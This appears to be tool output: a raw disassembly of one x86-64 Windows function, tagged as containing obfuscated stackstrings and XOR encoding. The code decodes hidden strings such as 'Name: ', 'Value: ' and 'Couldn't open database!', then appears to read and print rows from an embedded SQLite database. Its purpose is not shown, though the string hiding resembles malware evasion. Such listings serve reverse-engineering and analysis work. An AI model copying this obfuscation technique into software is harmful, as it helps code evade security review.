Function at 0x14000c300
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x1401b26d0]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov rbx, r9
xor esi, esi
mov rdx, r8
lea rcx, [rbp + 0x218]
call fcn.140005ae0
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400074d0
nop
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x14000c394
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c38f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d587
call fcn.140130b60
movdqa xmm0, xmmword [0x140195890]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rax, rsi
cmp qword [rsp + 0x40], 0
je 0x14000d445
movdqa xmm0, xmmword [0x1401959e0]
movdqu xmmword [rbp + 0x1a8], xmm0
movdqa xmm1, xmmword [0x1401958e0]
movdqu xmmword [rbp + 0x1b8], xmm1
mov dword [rbp + 0x1c8], 0x4b495440
mov dword [rbp + 0x1cc], 0x72736726
mov dword [rbp + 0x1d0], 0x6a6f6069
mov word [rbp + 0x1d4], 0x6a
xor byte [rbp + rax + 0x1a8], 6
inc rax
cmp rax, 0x2d
jb 0x14000c401
mov byte [rbp + 0x1d5], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
lea rax, [rbp + 0x1a8]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c440
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1f8]
call fcn.1400189d0
nop
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
cmovae rdx, qword [rbp + 0x1f8]
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8d, [r9 - 1]
mov rcx, qword [rsp + 0x40]
call fcn.14008fed0
test eax, eax
je 0x14000c4fb
movdqa xmm0, xmmword [0x140195930]
movdqu xmmword [rbp + 0x238], xmm0
movdqa xmm1, xmmword [0x140195940]
movdqu xmmword [rbp + 0x248], xmm1
mov word [rbp + 0x258], 0xc
mov rcx, rsi
nop word [rax + rax]
xor byte [rbp + rcx + 0x238], 6
inc rcx
cmp rcx, 0x21
jb 0x14000c4d0
mov byte [rbp + 0x259], 0
mov edx, eax
lea rcx, [rbp + 0x238]
call fcn.1400013d0
xor dil, dil
jmp 0x14000c4fe
mov dil, 1
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14000c53f
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c53a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d58d
call fcn.140130b60
movdqa xmm0, xmmword [0x140195890]
movdqu xmmword [rbp + 0x208], xmm0
mov byte [rbp + 0x1f8], 0
xor eax, eax
test dil, dil
je 0x14000d384
mov dword [rbp + 0x190], 0x720028
mov dword [rbp + 0x194], 0x72007e
mov word [rbp + 0x198], ax
mov rax, rsi
nop
xor word [rbp + rax*2 + 0x190], 6
inc rax
cmp rax, 4
jb 0x14000c580
mov word [rbp + 0x198], si
mov rdx, qword [rbx + 0x10]
lea rax, [rbp + 0x190]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x14000c5b0
movabs rax, 0x7ffffffffffffffe
sub rax, rdx
cmp rax, rcx
jb 0x14000d593
cmp qword [rbx + 0x18], 8
jb 0x14000c5da
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r9, rbx
lea rcx, [rbp + 0x260]
call fcn.140019250
nop
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x50]
call fcn.140013910
nop
lea r12d, [rbx + 0x13]
lea r13, [0x140190d34]
mov rdi, qword [rsp + 0x48]
cmp qword [rbp - 0x28], 0
je 0x14000d1ab
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov eax, 4
cmp qword [rbp + rcx - 0x68], 0
cmovne eax, esi
mov dword [rsp + rcx + 0x60], eax
test dword [rsp + rcx + 0x64], eax
jne 0x14000d599
mov r15d, esi
lea r14d, [rbx - 1]
test rdi, rdi
jne 0x14000c677
lea rdx, [0x14018d350]
mov ecx, r12d
call fcn.1400204a0
jmp 0x14000c696
cmp qword [rdi], r15
jne 0x14000c690
lea rdx, [0x14018d320]
mov ecx, r12d
call fcn.1400204a0
mov eax, r14d
jmp 0x14000c692
mov eax, esi
test eax, eax
je 0x14000c6bc
mov qword [rsp + 0x20], r13
mov r9d, 0x12b82
lea r8, [0x1401911f4]
lea rdx, [0x1401911c0]
mov ecx, r12d
call fcn.1400204a0
jmp 0x14000d16e
mov r13, qword [rdi]
mov rcx, qword [r13 + 0x18]
test rcx, rcx
je 0x14000c6ce
call qword [0x1401b4498]
and dword [rdi + 0xc0], 0xfffffffd
mov rcx, rdi
call fcn.140049c10
mov ebx, eax
cmp eax, 0x11
jne 0x14000cb6e
nop dword [rax + rax]
mov ecx, r15d
inc r15d
cmp ecx, 0x32
jge 0x14000cb68
mov r12d, dword [rdi + 0x34]
mov r14, qword [rdi]
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8d, [r9 - 1]
mov rdx, qword [rdi + 0xe0]
mov rcx, r14
call fcn.14008fed0
mov ebx, eax
test eax, eax
jne 0x14000c9ca
mov rbx, qword [rbp + 0x1a0]
mov rcx, rbx
lea rax, [rbp + 0x70]
mov r8d, 2
mov edx, r8d
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14000c760
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
mov rcx, qword [rcx + 0x10]
mov qword [rax + 0x10], rcx
mov rcx, rbx
mov rax, rdi
mov rdx, r8
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c7d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov rax, qword [rax + 0x10]
mov qword [rcx + 0x10], rax
mov rcx, rdi
lea rax, [rbp + 0x70]
mov rdx, r8
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c840
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov rax, qword [rax + 0x10]
mov qword [rcx + 0x10], rax
mov rcx, qword [rbx + 0x10]
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x10], rax
mov qword [rdi + 0x10], rcx
mov rcx, qword [rbx + 8]
mov rax, qword [rdi + 8]
mov qword [rbx + 8], rax
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 0xe0]
mov rax, qword [rdi + 0xe0]
mov qword [rbx + 0xe0], rax
mov qword [rdi + 0xe0], rcx
mov eax, dword [rdi + 0xc0]
mov ecx, eax
xor ecx, dword [rbx + 0xc0]
and ecx, 0x200
xor ecx, eax
mov dword [rdi + 0xc0], ecx
mov rdx, rdi
mov rcx, rbx
call fcn.14004c200
mov dword [rbx + 0x38], esi
mov eax, dword [rbx + 0x24]
cmp eax, 0x2df20da3
je 0x14000c917
cmp eax, 0x319c2973
jne 0x14000c91f
mov rcx, rbx
call fcn.140046630
mov rcx, rbx
call fcn.140046f80
mov rbx, qword [rdi]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000c939
call qword [0x1401b4498]
cmp qword [rdi + 0xb0], 0
jle 0x14000c94e
mov rdx, rdi
mov rcx, rbx
call fcn.140048ec0
mov rcx, rdi
call fcn.140046630
mov dword [rdi + 0x24], 0x2df20da3
mov dword [rdi + 0x34], 0xffffffff
mov qword [rdi + 0x38], rsi
mov word [rdi + 0xbe], 0xff02
mov r14d, 1
mov dword [rdi + 0x30], r14d
mov dword [rdi + 0x40], esi
mov qword [rdi + 0x50], rsi
cmp byte [rbx + 0x55], 0
jne 0x14000c98f
cmp eax, 0xc0a
jne 0x14000c997
mov rcx, rbx
call fcn.14001e6b0
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000c9a6
call qword [0x1401b44a8]
test r12d, r12d
js 0x14000c9b2
or dword [rdi + 0xc0], 2
mov rcx, rdi
call fcn.140049c10
mov ebx, eax
cmp eax, 0x11
je 0x14000c6f0
jmp 0x14000cb68
cmp ebx, 7
jne 0x14000c9fe
cmp byte [r14 + 0x55], 0
jne 0x14000c9fe
cmp byte [r14 + 0x56], 0
jne 0x14000c9fe
mov byte [r14 + 0x55], 1
cmp dword [r14 + 0xb8], 0
jle 0x14000c9f7
mov dword [r14 + 0x150], 1
inc dword [r14 + 0x158]
mov rcx, qword [r13 + 0x148]
test rcx, rcx
jne 0x14000ca0f
mov r15, rsi
jmp 0x14000ca46
movzx edx, word [rcx + 8]
movzx eax, dx
mov r8d, 0x202
and ax, r8w
cmp ax, r8w
jne 0x14000ca32
cmp byte [rcx + 0xa], 1
jne 0x14000ca32
mov r15, qword [rcx + 0x10]
jmp 0x14000ca46
test dl, 1
je 0x14000ca3c
mov r15, rsi
jmp 0x14000ca46
mov dl, 1
call fcn.140042190
mov r15, rax
mov r14, qword [rdi + 0x90]
test r14, r14
je 0x14000caf7
cmp qword [r13 + 0x298], 0
je 0x14000ca70
mov rdx, r14
mov rcx, r13
call fcn.14001de40
jmp 0x14000caf7
cmp r14, qword [r13 + 0x180]
jb 0x14000ca9c
cmp r14, qword [r13 + 0x188]
jae 0x14000ca9c
mov rax, qword [r13 + 0x178]
mov qword [r14], rax
mov qword [r13 + 0x178], r14
dec dword [r13 + 0x160]
jmp 0x14000caf7
cmp dword [0x1401b4410], 0
je 0x14000caee
mov rcx, qword [0x1401bae88]
test rcx, rcx
je 0x14000cab7
call qword [0x1401b4498]
mov rcx, r14
call qword [0x1401b4450]
movsxd rcx, eax
sub qword [0x1401babf0], rcx
dec qword [0x1401bac38]
mov rcx, r14
call qword [0x1401b4440]
mov rcx, qword [0x1401bae88]
test rcx, rcx
je 0x14000caf7
call qword [0x1401b44a8]
jmp 0x14000caf7
mov rcx, r14
call qword [0x1401b4440]
cmp byte [r13 + 0x55], 0
jne 0x14000cb53
test r15, r15
jne 0x14000cb0f
mov r12, rsi
mov qword [rdi + 0x90], rsi
jmp 0x14000cb5f
mov r14, 0xffffffffffffffff
inc r14
cmp byte [r15 + r14], 0
jne 0x14000cb16
and r14d, 0x3fffffff
lea rdx, [r14 + 1]
mov rcx, r13
call fcn.14001e2a0
mov r12, rax
test rax, rax
je 0x14000cb4a
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.140132db0
mov qword [rdi + 0x90], r12
jmp 0x14000cb5f
mov qword [rdi + 0x90], rsi
mov ebx, 7
mov r14d, 1
mov dword [rdi + 0x38], ebx
mov r12d, 0x15
cmp byte [r13 + 0x55], 0
jne 0x14000cb83
cmp ebx, 0xc0a
je 0x14000cb83
and ebx, dword [r13 + 0x48]
jmp 0x14000cb8d
mov rcx, r13
call fcn.14001e6b0
mov ebx, eax
mov rcx, qword [r13 + 0x18]
test rcx, rcx
je 0x14000cb9c
call qword [0x1401b44a8]
cmp ebx, 0x64
jne 0x14000d162
lea r15, [0x1401930a0]
mov r13d, 0x202
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000cbc4
call qword [0x1401b4498]
mov rcx, qword [rdi + 0x88]
test rcx, rcx
je 0x14000cbd9
cmp si, word [rdi + 0xbc]
jb 0x14000cbf0
mov rcx, qword [rdi]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.140020e60
mov rcx, r15
movzx edx, word [rcx + 8]
movzx eax, dx
and ax, r13w
cmp ax, r13w
jne 0x14000cc0d
cmp byte [rcx + 0xa], 1
jne 0x14000cc0d
mov rbx, qword [rcx + 0x10]
jmp 0x14000cc21
test dl, 1
je 0x14000cc17
mov rbx, rsi
jmp 0x14000cc21
mov dl, 1
call fcn.140042190
mov rbx, rax
mov edx, dword [rdi + 0x38]
mov rcx, qword [rdi]
cmp byte [rcx + 0x55], 0
jne 0x14000cc3c
cmp edx, 0xc0a
je 0x14000cc3c
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x14000cc41
call fcn.14001e6b0
mov dword [rdi + 0x38], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000cc56
call qword [0x1401b44a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], rsi
mov qword [rbp + 0x230], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14000cc75
mov rdx, rbx
lea rcx, [rbp + 0x218]
call fcn.1400189d0
nop
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000cca1
call qword [0x1401b4498]
mov rcx, qword [rdi + 0x88]
test rcx, rcx
je 0x14000ccc2
cmp r14w, word [rdi + 0xbc]
jae 0x14000ccc2
add rcx, 0x38
jne 0x14000ccd9
mov rbx, rsi
jmp 0x14000cd0a
mov rcx, qword [rdi]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.140020e60
mov rcx, r15
movzx edx, word [rcx + 8]
movzx eax, dx
and ax, r13w
cmp ax, r13w
jne 0x14000ccf6
cmp byte [rcx + 0xa], 1
jne 0x14000ccf6
mov rbx, qword [rcx + 0x10]
jmp 0x14000cd0a
test dl, 1
je 0x14000cd00
mov rbx, rsi
jmp 0x14000cd0a
mov dl, 1
call fcn.140042190
mov rbx, rax
mov edx, dword [rdi + 0x38]
mov rcx, qword [rdi]
cmp byte [rcx + 0x55], 0
jne 0x14000cd25
cmp edx, 0xc0a
je 0x14000cd25
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x14000cd2a
call fcn.14001e6b0
mov dword [rdi + 0x38], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000cd3f
call qword [0x1401b44a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], rsi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000cd60
mov rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.1400189d0
nop
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000cd8c
call qword [0x1401b4498]
mov rcx, qword [rdi + 0x88]
test rcx, rcx
je 0x14000cdb1
mov eax, 2
cmp ax, word [rdi + 0xbc]
jae 0x14000cdb1
add rcx, 0x70
jne 0x14000cdc8
mov rbx, rsi
jmp 0x14000cdf9
mov rcx, qword [rdi]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.140020e60
mov rcx, r15
movzx edx, word [rcx + 8]
movzx eax, dx
and ax, r13w
cmp ax, r13w
jne 0x14000cde5
cmp byte [rcx + 0xa], 1
jne 0x14000cde5
mov rbx, qword [rcx + 0x10]
jmp 0x14000cdf9
test dl, 1
je 0x14000cdef
mov rbx, rsi
jmp 0x14000cdf9
mov dl, 1
call fcn.140042190
mov rbx, rax
mov edx, dword [rdi + 0x38]
mov rcx, qword [rdi]
cmp byte [rcx + 0x55], 0
jne 0x14000ce14
cmp edx, 0xc0a
je 0x14000ce14
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x14000ce19
call fcn.14001e6b0
mov dword [rdi + 0x38], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000ce2e
call qword [0x1401b44a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], rsi
mov qword [rbp + 0x250], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ce50
mov rdx, rbx
lea rcx, [rbp + 0x238]
call fcn.1400189d0
nop
mov dword [rbp + 0x190], 0x636b6748
mov word [rbp + 0x194], 0x263c
xor eax, eax
mov byte [rbp + 0x196], al
mov rax, rsi
nop dword [rax + rax]
xor byte [rbp + rax + 0x190], 6
inc rax
cmp rax, 6
jb 0x14000ce90
mov byte [rbp + 0x196], 0
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.140017dd0
lea rdx, [rbp + 0x218]
cmp qword [rbp + 0x230], 0x10
cmovae rdx, qword [rbp + 0x218]
mov r8, qword [rbp + 0x228]
mov rcx, rax
call fcn.1400196f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140017840
movzx edx, al
mov rcx, rbx
call fcn.1400190a0
mov rcx, rbx
call fcn.140017540
mov dword [rbp + 0x1a0], 0x736a6750
mov dword [rbp + 0x1a4], 0x263c63
mov rax, rsi
nop dword [rax]
xor byte [rbp + rax + 0x1a0], 6
inc rax
cmp rax, 7
jb 0x14000cf20
mov byte [rbp + 0x1a7], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x50]
call fcn.140017dd0
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
cmovae rdx, qword [rbp + 0x1f8]
mov r8, qword [rbp + 0x208]
mov rcx, rax
call fcn.1400196f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140017840
movzx edx, al
mov rcx, rbx
call fcn.1400190a0
mov rcx, rbx
call fcn.140017540
mov dword [rbp + 0x1e8], 0x736a6750
mov dword [rbp + 0x1ec], 0x694a2663
mov dword [rbp + 0x1f0], 0x3c746371
mov word [rbp + 0x1f4], 0x26
mov rax, rsi
xor byte [rbp + rax + 0x1e8], 6
inc rax
cmp rax, 0xd
jb 0x14000cfc0
mov byte [rbp + 0x1f5], 0
lea rdx, [rbp + 0x1e8]
lea rcx, [rsp + 0x50]
call fcn.140017dd0
lea rdx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae rdx, qword [rbp + 0x238]
mov r8, qword [rbp + 0x248]
mov rcx, rax
call fcn.1400196f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140017840
movzx edx, al
mov rcx, rbx
call fcn.1400190a0
mov rcx, rbx
call fcn.140017540
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140017840
movzx edx, al
mov rcx, rbx
call fcn.1400190a0
mov rcx, rbx
call fcn.140017540
mov rcx, rdi
call fcn.140049f40
mov ebx, eax
mov rdx, qword [rbp + 0x250]
cmp rdx, 0x10
jb 0x14000d0a5
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d0a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5d4
call fcn.140130b60
mov qword [rbp + 0x248], rsi
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14000d0ff
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d0fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5da
call fcn.140130b60
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], 0xf
mov byte [rbp + 0x1f8], 0
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x14000d159
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d154
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5e0
call fcn.140130b60
cmp ebx, 0x64
je 0x14000cbb2
lea r13, [0x140190d34]
mov ebx, 2
lea rcx, [rsp + 0x58]
call fcn.140016d30
test rax, rax
jne 0x14000d1ab
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 0x68], 0
cmovne eax, ebx
or eax, dword [rsp + rcx + 0x60]
and eax, 0x17
mov dword [rsp + rcx + 0x60], eax
mov edx, dword [rsp + rcx + 0x64]
and edx, eax
jne 0x14000d5e6
test rdi, rdi
jne 0x14000d1b8
mov r12d, esi
jmp 0x14000d268
mov rbx, qword [rdi]
test rbx, rbx
jne 0x14000d1f2
lea rdx, [0x14018d320]
mov ecx, r12d
call fcn.1400204a0
mov qword [rsp + 0x20], r13
mov r9d, 0x12951
lea r8, [0x1401911f4]
lea rdx, [0x1401911c0]
mov ecx, r12d
call fcn.1400204a0
jmp 0x14000d26d
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000d201
call qword [0x1401b4498]
cmp qword [rdi + 0xb0], 0
jle 0x14000d216
mov rdx, rdi
mov rcx, rbx
call fcn.140048ec0
mov r14d, esi
mov eax, dword [rdi + 0x24]
cmp eax, 0x2df20da3
je 0x14000d22a
cmp eax, 0x319c2973
jne 0x14000d235
mov rcx, rdi
call fcn.140046630
mov r14d, eax
mov rcx, rdi
call fcn.140046f80
cmp byte [rbx + 0x55], 0
jne 0x14000d255
cmp r14d, 0xc0a
je 0x14000d255
mov r12d, dword [rbx + 0x48]
and r12d, r14d
jmp 0x14000d260
mov rcx, rbx
call fcn.14001e6b0
mov r12d, eax
mov rcx, rbx
call fcn.1400c1590
test r12d, r12d
je 0x14000d2c9
movdqa xmm0, xmmword [0x1401959b0]
movdqu xmmword [rbp + 0x1a8], xmm0
movdqa xmm1, xmmword [0x140195980]
movdqu xmmword [rbp + 0x1b8], xmm1
mov word [rbp + 0x1c8], 0xc2f
xor eax, eax
mov byte [rbp + 0x1ca], al
mov rax, rsi
xor byte [rbp + rax + 0x1a8], 6
inc rax
cmp rax, 0x22
jb 0x14000d2a1
mov byte [rbp + 0x1ca], 0
mov edx, r12d
lea rcx, [rbp + 0x1a8]
call fcn.1400013d0
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [0x14018b840]
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x58]
call fcn.140014710
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [0x14018baf0]
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x4c], edx
lea rax, [0x14018b4b8]
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.14012fc6c
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 8
jb 0x14000d4f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d37a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d581
call fcn.140130b60
jmp 0x14000d4f6
mov dword [rbp + 0x1a8], 0x690045
mov dword [rbp + 0x1ac], 0x6a0073
mov dword [rbp + 0x1b0], 0x680062
mov dword [rbp + 0x1b4], 0x720021
mov dword [rbp + 0x1b8], 0x760026
mov dword [rbp + 0x1bc], 0x630074
mov dword [rbp + 0x1c0], 0x670076
mov dword [rbp + 0x1c4], 0x630074
mov dword [rbp + 0x1c8], 0x750026
mov dword [rbp + 0x1cc], 0x6a0077
mov dword [rbp + 0x1d0], 0x770026
mov dword [rbp + 0x1d4], 0x630073
mov dword [rbp + 0x1d8], 0x7f0074
mov dword [rbp + 0x1dc], 0xc0027
mov word [rbp + 0x1e0], ax
mov rax, rsi
nop word [rax + rax]
xor word [rbp + rax*2 + 0x1a8], 6
inc rax
cmp rax, 0x1c
jb 0x14000d420
mov word [rbp + 0x1e0], si
lea rcx, [rbp + 0x1a8]
jmp 0x14000d4f0
mov dword [rbp + 0x1a8], 0x690045
mov dword [rbp + 0x1ac], 0x6a0073
mov dword [rbp + 0x1b0], 0x680062
mov dword [rbp + 0x1b4], 0x720021
mov dword [rbp + 0x1b8], 0x690026
mov dword [rbp + 0x1bc], 0x630076
mov dword [rbp + 0x1c0], 0x260068
mov dword [rbp + 0x1c4], 0x670062
mov dword [rbp + 0x1c8], 0x670072
mov dword [rbp + 0x1cc], 0x640026
mov dword [rbp + 0x1d0], 0x750067
mov dword [rbp + 0x1d4], 0x270063
mov dword [rbp + 0x1d8], 0xc
nop word [rax + rax]
xor word [rbp + rax*2 + 0x1a8], 6
inc rax
cmp rax, 0x19
jb 0x14000d4d0
mov word [rbp + 0x1da], si
lea rcx, [rbp + 0x1a8]
call fcn.140001380
nop
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.1400c1360
test eax, eax
je 0x14000d557
movdqa xmm0, xmmword [0x140195900]
movdqu xmmword [rbp + 0x218], xmm0
movdqa xmm1, xmmword [0x1401958c0]
movdqu xmmword [rbp + 0x228], xmm1
nop word [rax + rax]
xor byte [rbp + rsi + 0x218], 6
inc rsi
cmp rsi, 0x1f
jb 0x14000d530
mov byte [rbp + 0x237], 0
mov edx, eax
lea rcx, [rbp + 0x218]
call fcn.1400013d0
nop
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140130b40
mov rbx, qword [rsp + 0x3d0]
add rsp, 0x390
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140146458
nop
call fcn.140146458
int3
call fcn.140146458
int3
call fcn.1400014c0
nop
mov edx, 1
lea rcx, [rbp + 0x1e8]
call fcn.1400015b0
mov r8, rax
lea rdx, [0x14018af58]
lea rcx, [rbp + 0x1a8]
call fcn.1400020a0
lea rdx, [0x1401af6a8]
lea rcx, [rbp + 0x1a8]
call fcn.140133bd0
nop
call fcn.140146458
nop
call fcn.140146458
nop
call fcn.140146458
int3
test dl, 4
je 0x14000d5f4
lea rbx, [0x14018af58]
jmp 0x14000d609
test dl, 2
lea rbx, [0x14018af70]
lea rax, [0x14018af88]
cmove rbx, rax
mov edx, r14d
lea rcx, [rbp + 0x60]
call fcn.1400015b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.1400020a0
lea rdx, [0x1401af6a8]
lea rcx, [rbp + 0x1a8]
call fcn.140133bd0
int3